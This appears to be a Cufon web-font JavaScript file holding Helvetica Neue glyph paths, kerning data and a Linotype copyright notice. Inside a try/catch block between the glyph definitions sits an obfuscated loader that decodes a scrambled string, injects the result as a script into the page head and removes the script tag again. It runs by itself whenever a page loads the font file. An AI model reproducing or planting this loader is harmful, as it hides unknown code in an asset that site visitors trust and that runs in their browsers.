43,0r-53,118r36,0r0,24r-47,0v-4,5,-4,15,-4,25r51,0r0,25r-51,0r0,58r-38,0","w":172},{"d":"40,0r0,-48r41,0r0,48r-41,0xm159,0r0,-48r42,0r0,48r-42,0xm279,0r0,-48r41,0r0,48r-41,0","w":360},{"d":"95,-154r0,-103r31,0r0,103r-31,0xm27,-154r0,-103r31,0r0,103r-31,0","w":153},{"d":"-4,5r82,-267r32,0r-82,267r-32,0","w":106},{"d":"8,-57r0,-36r88,-162r42,0r0,165r27,0r0,33r-27,0r0,57r-39,0r0,-57r-91,0xm99,-90r-1,-105r-57,105r58,0","w":172},{"d":"23,-210r0,-47r41,0v-1,50,8,95,-41,103r0,-21v13,-3,19,-16,18,-35r-18,0","w":86,"k":{"\u2019":22,"r":6,"d":13,"\u0131":13,"s":13,"\u0161":13}},{"d":"64,-99r38,0r7,-52r-38,0xm-1,-72r0,-27r35,0r7,-52r-32,0r0,-27r36,0r10,-72r30,0r-10,72r38,0r10,-72r30,0r-10,72r31,0r0,27r-35,0r-7,52r31,0r0,27r-35,0r-10,72r-30,0r10,-72r-38,0r-10,72r-30,0r10,-72r-31,0","w":172},{"d":"19,0r0,-257r39,0r1,85v23,-40,95,-40,95,26r0,146r-38,0r0,-133v0,-25,-8,-35,-27,-35v-16,0,-31,13,-31,38r0,130r-39,0","w":173,"k":{"y":2,"\u00fd":2,"\u00ff":2}},{"d":"27,-163v3,-80,57,-105,122,-85v10,4,18,10,24,18r-12,33v-7,-23,-56,-43,-77,-17v-12,14,-15,38,-16,51r81,0r-9,24r-73,0r0,26r66,0r-8,24r-57,0v-2,19,13,69,46,65v23,-3,43,-11,53,-28r0,40v-9,10,-44,18,-54,17v-66,8,-85,-59,-86,-94r-27,0r9,-24r17,0r0,-26r-26,0r9,-24r18,0","w":172},{"d":"11,-213r0,-37r151,0r0,33v-40,52,-74,140,-80,217r-43,0v6,-76,42,-161,83,-213r-111,0","w":172},{"w":86,"k":{"\u201c":13,"\u2018":13,"T":13,"V":13,"W":13,"Y":13,"\u00dd":13,"\u0178":13,"A":13,"\u00c6":13,"\u00c1":13,"\u00c2":13,"\u00c4":13,"\u00c0":13,"\u00c5":13,"\u00c3":13}},{"d":"62,-233v-15,0,-18,14,-18,47v0,33,3,47,18,47v15,0,19,-14,19,-47v0,-33,-4,-47,-19,-47xm179,-255r28,0r-115,260r-27,0xm211,-111v-15,0,-18,14,-18,47v0,33,3,47,18,47v15,0,18,-14,18,-47v0,-33,-3,-47,-18,-47xm62,-255v28,0,50,15,50,69v0,54,-22,69,-50,69v-28,0,-49,-15,-49,-69v0,-54,21,-69,49,-69xm211,-133v28,0,49,15,49,69v0,54,-21,69,-49,69v-28,0,-49,-15,-49,-69v0,-54,21,-69,49,-69","w":273},{"d":"23,-137r0,-47r41,0r0,47r-41,0xm23,0r0,-48r41,0r0,48r-41,0","w":86,"k":{" ":13}},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm96,-226r0,-39r35,0r0,39r-35,0xm36,-226r0,-39r35,0r0,39r-35,0","w":166},{"d":"54,-188v0,21,6,39,32,39v26,0,32,-18,32,-39v0,-20,-6,-38,-32,-38v-26,0,-32,18,-32,38xm50,-72v0,27,7,48,36,48v29,0,36,-21,36,-48v0,-27,-7,-48,-36,-48v-29,0,-36,21,-36,48xm86,5v-52,0,-77,-26,-77,-76v-1,-39,21,-57,44,-65v-22,-8,-35,-24,-35,-55v0,-40,26,-64,68,-64v73,0,93,101,34,119v66,18,56,141,-34,141","w":172},{"d":"216,-218r-32,0r0,253r-34,0r0,-253r-75,0r0,253r-34,0r0,-253r-32,0r0,-33r207,0r0,33","w":225},{"d":"144,0v-1,-6,2,-14,-1,-18v-10,16,-29,23,-49,23v-53,0,-79,-41,-79,-134v0,-92,26,-133,80,-133v23,-1,38,9,49,21r0,-16r127,0r0,35r-91,0r0,71r86,0r0,34r-86,0r0,82r94,0r0,35r-130,0xm141,-85v0,-51,9,-157,-38,-146v-27,0,-47,15,-47,101v0,89,20,104,44,104v24,0,41,-10,41,-59","w":286,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"121,0r0,-194r38,0r0,194r-38,0xm121,-221r0,-39r38,0r0,39r-38,0xm31,0r0,-165r-27,0r0,-29r27,0v-6,-53,19,-73,70,-65r0,30v-26,-3,-36,8,-32,35r32,0r0,29r-32,0r0,165r-38,0","w":180,"k":{"\u201d":-6,"\u2019":-6,",":13,".":13}},{"d":"-1,66r0,-29r37,0r0,-265r-37,0r0,-29r73,0r0,323r-73,0","w":100},{"d":"67,-184r0,-73r39,0r0,73r62,0r0,32r-62,0r0,203r-39,0r0,-203r-61,0r0,-32r61,0","w":173},{"d":"159,51r0,-284r-39,0r0,284r-33,0r0,-175v-37,0,-68,-27,-68,-65v0,-80,94,-68,173,-68r0,308r-33,0","w":216},{"d":"159,-193r-41,0v0,-15,-6,-33,-27,-33v-38,-1,-43,54,-40,88v33,-50,113,-29,113,49v0,59,-24,94,-78,94v-64,0,-77,-49,-77,-122v0,-76,14,-138,81,-138v45,0,69,20,69,62xm54,-77v0,30,11,53,35,53v25,0,34,-24,34,-54v0,-35,-11,-56,-34,-56v-30,0,-35,26,-35,57","w":172},{"d":"21,0r0,-257r50,0r76,191r0,-191r38,0r0,257r-50,0r-75,-197r0,197r-39,0","w":206,"k":{",":6,".":6}},{"d":"153,-92r-101,0v0,32,0,70,33,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-32,0,-71,-9,-71,-99v0,-51,11,-105,72,-105v61,0,70,45,68,107xm52,-118r62,0v1,-28,-3,-54,-29,-54v-26,0,-34,27,-33,54","w":166,"k":{",":13,".":13,"x":2}},{"d":"67,-187r0,-70r39,0r0,70r62,0r0,31r-62,0r0,105r62,0r0,30r-62,0r0,72r-39,0r0,-72r-62,0r0,-30r62,0r0,-105r-62,0r0,-31r62,0","w":173},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73xm64,-219r21,-52r44,0r-39,52r-26,0","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"17,-113r0,-31r182,0r0,31r-182,0xm17,-38r0,-31r182,0r0,31r-182,0","w":216},{"d":"161,-35r0,35r-149,0v0,-111,107,-109,107,-188v0,-21,-9,-38,-32,-38v-31,0,-36,27,-36,53r-38,0v0,-51,21,-82,75,-82v52,0,72,31,72,68v0,85,-83,90,-102,152r103,0","w":172},{"d":"28,-154r0,-103r31,0r0,103r-31,0","w":86},{"d":"175,-52r-39,-65r-23,0r0,65r-27,0r0,-153v52,0,117,-9,117,44v0,28,-17,39,-39,43r42,66r-31,0xm113,-139v28,-1,63,7,63,-23v0,-28,-36,-20,-63,-21r0,44xm144,-24v56,0,101,-47,101,-105v0,-58,-45,-104,-101,-104v-56,0,-101,46,-101,104v0,58,45,105,101,105xm10,-129v0,-74,60,-133,134,-133v74,0,134,59,134,133v0,74,-60,134,-134,134v-74,0,-134,-60,-134,-134","w":288},{"d":"21,0r0,-194r38,0r0,194r-38,0xm20,-219r22,-52r43,0r-38,52r-27,0"},{"d":"64,-125r7,107r0,81r-41,0v-1,-66,2,-127,6,-188r28,0xm71,-194r0,41r-41,0r0,-41r41,0","w":100},{"d":"33,-235r-10,-27v64,-46,139,-10,139,115v0,92,-31,150,-86,150v-42,0,-63,-41,-63,-83v0,-87,81,-120,116,-67v7,-77,-46,-134,-96,-88xm80,-27v26,0,42,-43,46,-86v-4,-13,-17,-31,-38,-31v-23,0,-41,31,-41,66v0,30,13,51,33,51","w":178},{"d":"98,-107r0,23v-37,3,-30,61,-30,103v0,42,-26,51,-65,47r0,-22v45,8,29,-54,29,-91v0,-35,25,-44,33,-49v-9,-2,-33,-14,-33,-48v0,-35,20,-97,-29,-91r0,-22v39,-3,64,5,65,47v1,42,-8,100,30,103","w":100},{"d":"83,5v-47,0,-73,-25,-71,-74r38,0v-2,24,8,42,34,43v28,0,36,-28,36,-58v0,-30,-8,-54,-34,-54v-17,0,-29,9,-33,23r-37,-1r13,-134r123,0r0,33r-93,0v-2,22,-8,47,-7,68v11,-12,26,-20,43,-20v53,0,66,45,66,84v0,51,-23,90,-78,90","w":172},{"d":"27,66r-27,0v56,-92,55,-229,0,-323r28,0v28,37,52,96,52,162v0,66,-25,124,-53,161","w":93},{"d":"168,35r-160,0r0,-25r80,-118r-77,-117r0,-26r152,0r0,31r-107,1r70,104r-77,116r119,0r0,34","w":175},{"d":"81,-24r0,-146v-36,8,-35,138,0,146xm81,37r0,-32v-49,-4,-64,-45,-64,-102v0,-57,15,-98,64,-102r0,-27r15,0r0,27v51,3,60,47,60,70r-39,0v0,-16,-4,-37,-21,-41r0,146v17,-5,23,-22,23,-47r37,0v-3,44,-18,73,-60,76r0,32r-15,0","w":172},{"d":"130,-76v38,2,72,-101,17,-101v-30,0,-51,36,-51,65v0,22,11,36,34,36xm194,-198r26,0r-31,115v0,5,3,8,12,8v20,0,44,-33,44,-73v0,-51,-45,-85,-95,-85v-63,0,-107,50,-107,106v0,104,133,130,193,72r30,0v-19,35,-60,60,-119,60v-76,0,-137,-50,-137,-134v0,-75,56,-133,140,-133v73,0,128,45,128,110v0,72,-57,103,-92,103v-19,1,-23,-12,-26,-22v-27,37,-94,25,-94,-37v0,-69,83,-135,121,-68","w":288},{"d":"66,-257r27,0v-55,92,-55,229,0,323r-27,0v-28,-37,-53,-95,-53,-161v0,-66,25,-125,53,-162","w":93},{"d":"45,-214v0,-66,19,-103,73,-90r-4,25v-35,-9,-36,23,-37,68v0,57,5,114,5,176v0,67,-21,109,-74,89r5,-26v32,10,37,-13,37,-62v0,-63,-5,-121,-5,-180","w":126},{"d":"17,-78r0,-26r182,-82r0,31r-145,64r145,64r0,31","w":216},{"d":"139,-193v-24,49,-43,103,-66,154v7,10,17,13,27,13v24,0,44,-15,44,-104v0,-28,-2,-49,-5,-63xm62,-64v24,-49,43,-104,65,-155v-8,-10,-17,-12,-27,-12v-24,0,-44,15,-44,101v0,29,2,51,6,66xm49,19r-18,-9r11,-28v-19,-21,-27,-58,-27,-111v0,-112,48,-154,126,-123r10,-23r19,8r-12,28v19,21,27,57,27,110v0,112,-48,155,-126,124","w":200,"k":{"T":11,"V":6,"Y":14,"\u00dd":14,"\u0178":14,",":14,".":14,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,"X":6}},{"d":"20,-219r22,-52r43,0r-38,52r-27,0"},{"d":"88,-210r0,-47r41,0v-1,50,8,95,-41,103r0,-21v13,-3,19,-16,18,-35r-18,0xm24,-210r0,-47r41,0v-1,50,8,95,-41,103r0,-21v13,-3,19,-16,18,-35r-18,0","w":153,"k":{" ":13}},{"d":"16,-86r0,-36r95,0r0,36r-95,0","w":126},{"d":"33,-219r-38,-52r43,0r22,52r-27,0"},{"d":"88,0r0,-48r41,0v-1,50,8,95,-41,103r0,-20v12,-3,19,-17,18,-35r-18,0xm24,0r0,-48r41,0v-1,50,8,95,-41,103r0,-20v12,-3,19,-17,18,-35r-18,0","w":153},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"106,-125v11,70,-50,67,-52,124v0,20,7,38,29,38v24,0,32,-20,32,-50r39,0v0,45,-19,81,-71,81v-45,0,-70,-25,-70,-69v1,-70,65,-66,56,-124r37,0xm108,-194r0,41r-41,0r0,-41r41,0","w":166},{"d":"6,0r0,-32r108,-190r-101,0r0,-35r146,0r0,35r-108,187r109,0r0,35r-154,0","w":166},{"d":"62,-226r0,195v67,3,82,-3,82,-98v0,-91,-15,-101,-82,-97xm21,0r0,-257r73,0v81,0,91,52,91,128v0,76,-10,129,-91,129r-73,0","w":200,"k":{"Y":6,"\u00dd":6,"\u0178":6,",":14,".":14}},{"d":"19,0r0,-194r36,0v1,7,-3,20,2,23v20,-40,97,-43,97,25r0,146r-38,0r0,-133v0,-25,-8,-35,-27,-35v-16,0,-31,13,-31,38r0,130r-39,0","w":173},{"d":"70,-125r0,41r-52,49r0,-40r32,-29r-32,-30r0,-39xm129,-125r0,41r-52,49r0,-40r31,-29r-31,-30r0,-39","w":146},{"d":"21,0r0,-257r139,0r0,35r-98,0r0,71r92,0r0,34r-92,0r0,82r101,0r0,35r-142,0xm39,-271r33,-52r39,0r32,52r-33,0r-19,-32r-21,32r-31,0","w":173},{"d":"146,-151r0,111v-1,9,8,16,16,12r0,25v-19,10,-50,4,-52,-20v-20,44,-99,37,-99,-26v0,-57,36,-57,75,-69v14,-4,23,-8,23,-25v0,-18,-6,-29,-27,-29v-26,0,-29,18,-29,37r-37,0v0,-41,17,-64,68,-64v34,0,62,14,62,48xm109,-102v-20,15,-59,12,-59,49v0,16,8,29,24,29v34,2,37,-40,35,-78xm64,-219r21,-52r44,0r-39,52r-26,0","w":166},{"d":"146,-63v-25,0,-56,-24,-77,-26v-11,0,-21,9,-31,28r-13,-27v10,-21,28,-32,45,-32v41,2,85,57,108,-1r13,27v-11,19,-28,31,-45,31","w":216},{"d":"153,-92r-101,0v0,32,0,70,33,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-32,0,-71,-9,-71,-99v0,-51,11,-105,72,-105v61,0,70,45,68,107xm52,-118r62,0v1,-28,-3,-54,-29,-54v-26,0,-34,27,-33,54xm68,-219r22,-52r43,0r-38,52r-27,0","w":166,"k":{",":13,".":13,"x":2}},{"d":"113,-71r36,0v-3,46,-18,76,-66,76v-56,0,-72,-42,-72,-102v0,-60,16,-102,72,-102v58,0,67,46,67,70r-39,0v0,-18,-5,-41,-28,-41v-28,0,-33,30,-33,73v0,43,5,73,33,73v22,0,30,-18,30,-47","w":159,"k":{"y":6,"\u00fd":6,"\u00ff":6,",":13,".":13,"h":2,"k":2}},{"d":"21,0r0,-194r36,0v1,7,-2,18,1,23v16,-37,85,-35,92,2v20,-43,96,-44,96,22r0,147r-39,0r0,-133v0,-25,-7,-35,-23,-35v-16,0,-31,13,-31,38r0,130r-39,0r0,-133v0,-25,-8,-35,-24,-35v-15,0,-31,13,-31,38r0,130r-38,0","w":266},{"d":"21,0r0,-257r50,0r76,191r0,-191r38,0r0,257r-50,0r-75,-197r0,197r-39,0xm85,-317v15,0,48,27,50,-1r23,0v0,16,-10,42,-31,42v-22,0,-51,-27,-56,2r-22,0v0,-15,9,-43,36,-43","w":206,"k":{",":6,".":6}},{"d":"53,-226r0,-39r34,0r0,39r-34,0xm-7,-226r0,-39r34,0r0,39r-34,0"},{"d":"23,0r0,-48r41,0v-1,50,8,95,-41,103r0,-20v12,-3,19,-17,18,-35r-18,0","w":86,"k":{"\u201d":27,"\u2019":27," ":13}},{"d":"23,-226r0,-39r34,0r0,39r-34,0"},{"d":"0,-87r0,-34r360,0r0,34r-360,0","w":360},{"d":"18,-257r41,0r0,184v0,32,13,47,38,47v24,0,37,-15,37,-47r0,-184r41,0r0,181v0,59,-29,81,-78,81v-49,0,-79,-22,-79,-81r0,-181","w":193,"k":{",":11,".":11}},{"d":"20,-219r-32,-52r33,0r19,32r21,-32r31,0r-33,52r-39,0"},{"d":"19,0r0,-257r39,0r0,144r59,-81r45,0r-58,75r66,119r-43,0r-47,-88r-22,26r0,62r-39,0","w":166,"k":{"y":2,"\u00fd":2,"\u00ff":2,"e":2,"\u00e9":2,"\u00ea":2,"\u00eb":2,"\u00e8":2,"o":2,"\u00f8":2,"\u0153":2,"\u00f3":2,"\u00f4":2,"\u00f6":2,"\u00f2":2,"\u00f5":2}},{"d":"21,0r0,-257r38,0r0,257r-38,0"},{"d":"118,0v-1,-7,2,-18,-1,-23v-25,40,-98,46,-98,-35r0,-136r39,0r0,139v0,22,9,29,26,29v17,0,32,-10,32,-32r0,-136r38,0r0,194r-36,0","w":173},{"d":"103,-162v-35,-24,-53,11,-53,65v0,16,1,30,3,42xm114,-139v-19,33,-33,72,-50,107v34,25,53,-12,53,-65v0,-16,-1,-30,-3,-42xm21,13r13,-27v-39,-46,-37,-185,49,-185v13,0,25,2,34,7r10,-23r18,9r-12,26v39,46,38,185,-50,185v-13,0,-24,-2,-33,-7r-11,24","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"77,-84r0,-41r52,-48r0,39r-32,30r32,29r0,40xm18,-84r0,-41r52,-48r0,39r-32,30r32,29r0,40","w":146},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm76,-304v0,11,9,20,20,20v11,0,20,-9,20,-20v0,-11,-9,-20,-20,-20v-11,0,-20,9,-20,20xm58,-304v0,-21,17,-38,38,-38v21,0,38,17,38,38v0,21,-17,38,-38,38v-21,0,-38,-17,-38,-38","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"62,-177r0,89v40,2,67,1,70,-44v2,-39,-28,-49,-70,-45xm21,0r0,-257r41,0r0,49v68,-7,112,15,112,75v0,60,-45,83,-112,76r0,57r-41,0","w":180},{"d":"21,0r0,-257r139,0r0,35r-98,0r0,71r92,0r0,34r-92,0r0,82r101,0r0,35r-142,0xm84,-271r-38,-52r43,0r22,52r-27,0","w":173},{"d":"64,-96r61,0r-31,-126xm-3,0r73,-257r52,0r68,257r-43,0r-16,-63r-75,0r-16,63r-43,0xm89,-271r-38,-52r43,0r22,52r-27,0","w":186,"k":{"v":6,"T":20,"V":11,"w":6,"W":11,"y":6,"\u00fd":6,"\u00ff":6,"Y":20,"\u00dd":20,"\u0178":20,"\u201d":20,"\u2019":20}},{"d":"19,0r0,-257r41,0r0,257r-41,0"},{"d":"26,-129v0,-35,29,-64,64,-64v35,0,64,29,64,64v0,35,-29,65,-64,65v-35,0,-64,-30,-64,-65","w":180},{"d":"153,-92r-101,0v0,32,0,70,33,70v28,0,31,-31,31,-43r36,0v0,43,-26,70,-68,70v-32,0,-71,-9,-71,-99v0,-51,11,-105,72,-105v61,0,70,45,68,107xm52,-118r62,0v1,-28,-3,-54,-29,-54v-26,0,-34,27,-33,54xm36,-219r33,-52r39,0r32,52r-33,0r-20,-32r-20,32r-31,0","w":166,"k":{",":13,".":13,"x":2}},{"d":"24,5r0,-267r31,0r0,267r-31,0"},{"d":"13,-30v14,-1,31,2,43,-1v-20,-23,-39,-60,-39,-107v0,-67,39,-117,94,-117v107,-1,107,174,50,225r44,0r0,30r-78,0r0,-22v44,-21,63,-199,-17,-202v-78,-3,-66,180,-19,202r0,22r-78,0r0,-30","w":218},{"d":"11,-97v0,-60,16,-102,72,-102v57,0,73,42,73,102v0,60,-19,102,-73,102v-54,0,-72,-42,-72,-102xm50,-97v0,49,5,73,33,73v28,0,34,-24,34,-73v0,-43,-6,-73,-34,-73v-28,0,-33,30,-33,73xm32,-219r32,-52r39,0r32,52r-32,0r-20,-32r-20,32r-31,0","w":166,"k":{"v":2,"w":2,"y":2,"\u00fd":2,"\u00ff":2,",":6,".":6}},{"d":"19,0r0,-257r41,0r0,257r-41,0xm53,-279r0,-39r34,0r0,39r-34,0xm-7,-279r0,-39r34,0r0,39r-34,0"},{"d":"9,0r0,-30r85,-131r-80,0r0,-33r124,0r0,32r-82,129r82,0r0,33r-129,0","w":146},{"d":"75,2r0,-31v33,3,46,-14,46,-50v0,-39,-14,-55,-45,-52r0,-28v18,1,36,-5,36,-36v0,-21,-7,-36,-29,-36v-21,0,-28,13,-28,36r0,195r-39,0r0,-192v0,-45,23,-68,68,-68v33,0,67,13,67,59v1,29,-12,46,-36,54v37,4,47,36,47,67v0,55,-26,88,-87,82","w":173},{"d":"16,-86r0,-36r95,0r0,36r-95,0","w":126},{"d":"142,0v-20,-30,12,-119,-46,-112r-34,0r0,112r-41,0r0,-257v75,3,156,-19,156,66v0,34,-17,58,-43,64v26,3,40,16,41,52v1,27,-4,67,13,75r-46,0xm62,-143v40,3,74,-1,74,-41v0,-42,-33,-45,-74,-42r0,83","w":193,"k":{"T":6,"Y":6,"\u00dd":6,"\u0178":6}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-539-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("&vyuz[5b#g!%&c-=R[;+?v?!}]5uy[!%}])+#g^iy>{q2$bX}0naNv?QLu3uNS_[5Q5CR(4a2$-CR(435S)CR(4a2$RCR(4a2(^CR(4a2$)CR(4a2gyCR(?aN(532}pCR(4a2U)1n;3uNS_X2+;CR(4ay(Ri}0naNv5K}0naN(N3}0n+NSF*,u3uNSFbN>3uNS_p5-3uNS_KNu3uNSF]N;3uNS_KN-3uNS_K2>3uNS_UNu3uNS_U2u5CR(4a2(5CR(4$2(-CR(4a2[;E}0n+NU2a}0naN(n$}0naN[^KC;3uy[?aN-3uNS_[N;3uNS_Xr>-CR(4ay[>b}0naNv)-}0naN])U}0n+N()-}0naNvLa}0n+NS5p}0naNvNb}0n+NUF+}0n+NS;p}0naN[^X2XhCR(4aySCa}0naNv;U}u3uNS_[5-3uNU?3r>3uNU?br0RCR(4a2U_CR(4a2(-CR(4a2$2%}0n+NSNa}0naNv2u}0naNv23}0n+N(F$N>3uNS_Xy;3uNS_X5>3uNS)Ur>3uNS_[y-3uNU?3y>3uNS_K5;3uNU?]5>3uNU>U2>3uNS_p2>3uNS_XN>3uNS)K2$!CR(4aySyCR(4a2])CR(4$2$_n&u3uNS_-5-3uNS_pNS1CR(4ay(pCR(4a2U55}0naNvn4_cSF;v0?)&WN5rtL^d(n>g}2y#zCR,|TpXUK-[iBh9wqH%Ea3+$bu]Q*1@={!mx$}0naNv>-}0naN(C*dKpCR(?+N(>CR(4ay(>CR(4ay[)CR(4ayS>g}0naNvL1}0n+NU;p}0n+N(?+}0naNv>[}0naNv2+L-3uNS_Xr;3uNS_[r>3uNS_-N;3uNS_K2u3uNSFQy>3uNS_K2-3uNS_-2byCR(4ay[^CR(4+ySpCR(4a2$;N}0naN(23n>3uNS_[2u3uNU?a5U5CR(4+2$21R-3uNS_-N-Rhdu3uNS)K2gyCR(?+5U^2}0naNv>X#-3uNSF1N-3uNSFQy;3C}0naNv5-}0naNvFQ(u3uNS_[2>H,y0)CR(?aNg50)KnK}0naNv^Kru3uNU4b5;3uNU4$r>3uNS_p5>3uNU4+5-aX}c{b}0n+NSF1?]pCR(?a2gNQ?cn@}0naNvnbr;3uNU?ay-3uNSFuN-3uy[?aN>uCR(?aNU_CR(4a2U2]([>CR(?aNU;CR(4ayUN!NXRCR(4a2g>CR(4ayg^CR(4a2(;CR(?+NS)!5d-CR(?+N(;CR(4a2()4&;3uNU?+2U3CR(4aySpCR(4a2U^CR(?aNg^CR(4a2g^T}0n+NS;-L>3uNS_Xy-hFz-3uNS_X2-3uNS_U2>3uNS_-N}1CR(4ay(-Uz>3uNS_KN>3uNS_prc3CR(4+yS-CR(?aN(^>}0naN[NQ#]3u}0naNv2*}0naNv;X}0naNvNu}0naNv^-}0naNvN*}0naNvNad>3uNU4+N-3uNS_-2}3CR(?3NUyCR(4ayU^CR(4a2]y@}0naNv^[W>?XWi5azv-b&c?X&d3ht(4qCSuXWi4qzSuaW[3-z[Rb#c3itg?%yX1iz0-a#0N!,Qb=#g2B2X1E#$bE}XTxriRQRua%&({Bt$B%&ua%Rv-bzv>K}c1Uzua%RgH{WXHCW[phy[-iyg;+}c1Uzua%Rgqh)c!hWi^-CQLBzv!U2}^hz]*%#v!$Rv1pzgnh&gyECXT=#(3qr+qw#d-ig]5z#>uRt}_z#>u!&dTh")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":79,"face":{"font-family":"HelveticaNeue","font-weight":500,"font-stretch":"condensed","units-per-em":"360","panose-1":"2 11 6 6 3 5 2 3 2 4","ascent":"257","descent":"-103","x-height":"5","bbox":"-59 -342 371 78.0903","underline-thickness":"18","underline-position":"-18","stemh":"31","stemv":"39","unicode-range":"U+0020-U+FB02"}}));

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) 1981, 1982, 1983, 1989 and 1993, Linotype Library GmbH or its
 * affiliated Linotype-Hell companies. All rights reserved.
 * 
 * The digitally encoded machine readable software for producing the Typefaces
 * licensed to you is now the property of Heidelberger Druckmaschinen AG and its
 * licensors, and may not be reproduced, used, displayed, modified, disclosed or
 * transferred without the express written approval of Heidelberger Druckmaschinen
 * AG.
 * 
 * Copyright (c) 1988, 1990, 1993 Adobe Systems Incorporated. All Rights Reserved.
 * 
 * Trademark:
 * "Helvetica Neue" is a trademark of Heidelberger Druckmaschinen AG, which may be
 * registered in certain jurisdictions, exclusivly licensed through Linotype
 * Library GmbH, a wholly owned subsidiary of Heidelberger Druckmaschinen AG.
 * 
 * Description:
 * Helvetica (Latin for Swiss) has the objective and functional style which was
 * associated with Swiss typography in the 1950s and 1960s. It is perfect for
 * international correspondence: no ornament, no emotion, just clear presentation
 * of information. Helvetica is still one of the best selling sans-serif fonts.
 * 
 * Vendor URL:
 * http://www.LinotypeLibrary.com/
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"49,-257r0,42r48,0r0,-42r-48,0xm123,-257r0,42r48,0r0,-42r-48,0xm110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"43,-260r55,51r36,0r-35,-51r-56,0xm87,5v26,-1,46,-14,58,-31r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0v4,83,-24,196,68,191","w":213},{"d":"59,-213v14,-43,90,34,106,-31v2,-5,4,-9,5,-13r-25,0v-19,36,-98,-39,-108,44r22,0xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"87,-260r-40,51r39,0r23,-29r22,29r42,0r-39,-51r-47,0xm110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"30,-331r-40,51r39,0r23,-29r22,29r42,0r-39,-51r-47,0xm25,-257r0,257r56,0r0,-257r-56,0","w":106},{"d":"270,0r69,-257r-56,0r-43,177r-43,-177r-53,0r-46,175r-40,-175r-57,0r68,257r57,0r44,-175r43,175r57,0","w":339,"k":{"u":6,"r":6,"o":21,"e":21,"a":13,"A":9,";":6,":":6,".":27,",":27}},{"d":"8,-45r0,45r217,0r0,-48r-141,0r137,-164r0,-45r-202,0r0,47r127,0","w":233},{"d":"175,-175v0,46,-50,38,-94,39r0,-77v44,0,94,-8,94,38xm230,-175v-1,-53,-33,-81,-89,-82r-116,0r0,257r56,0r0,-92v82,6,151,-7,149,-83","w":240,"k":{"A":27,".":64,",":64}},{"d":"112,-153v33,1,44,28,44,60v0,32,-11,59,-44,60v-56,0,-60,-121,0,-120xm130,-191v-25,0,-48,10,-59,28r0,-94r-52,0r0,257r49,0v1,-7,-2,-18,1,-24v10,20,32,29,61,29v52,0,77,-42,77,-98v0,-56,-25,-98,-77,-98","w":219},{"d":"63,-213v16,-42,99,38,110,-44r-25,0v-17,37,-99,-41,-107,44r22,0xm126,-191v-27,0,-46,14,-58,31r0,-26r-49,0r0,186r52,0v6,-57,-22,-151,39,-151v57,0,25,98,33,151r51,0v-5,-83,25,-191,-68,-191","w":213},{"d":"122,-40v-20,3,-38,5,-38,-20r0,-92r38,0r0,-34r-38,0r0,-56r-51,0r0,56r-31,0r0,34r31,0r0,110v-1,46,46,47,89,42r0,-40","w":126},{"d":"17,-39r0,39r182,0r0,-39r-182,0xm127,-135r0,-47r-38,0r0,47r-72,0r0,39r72,0r0,47r38,0r0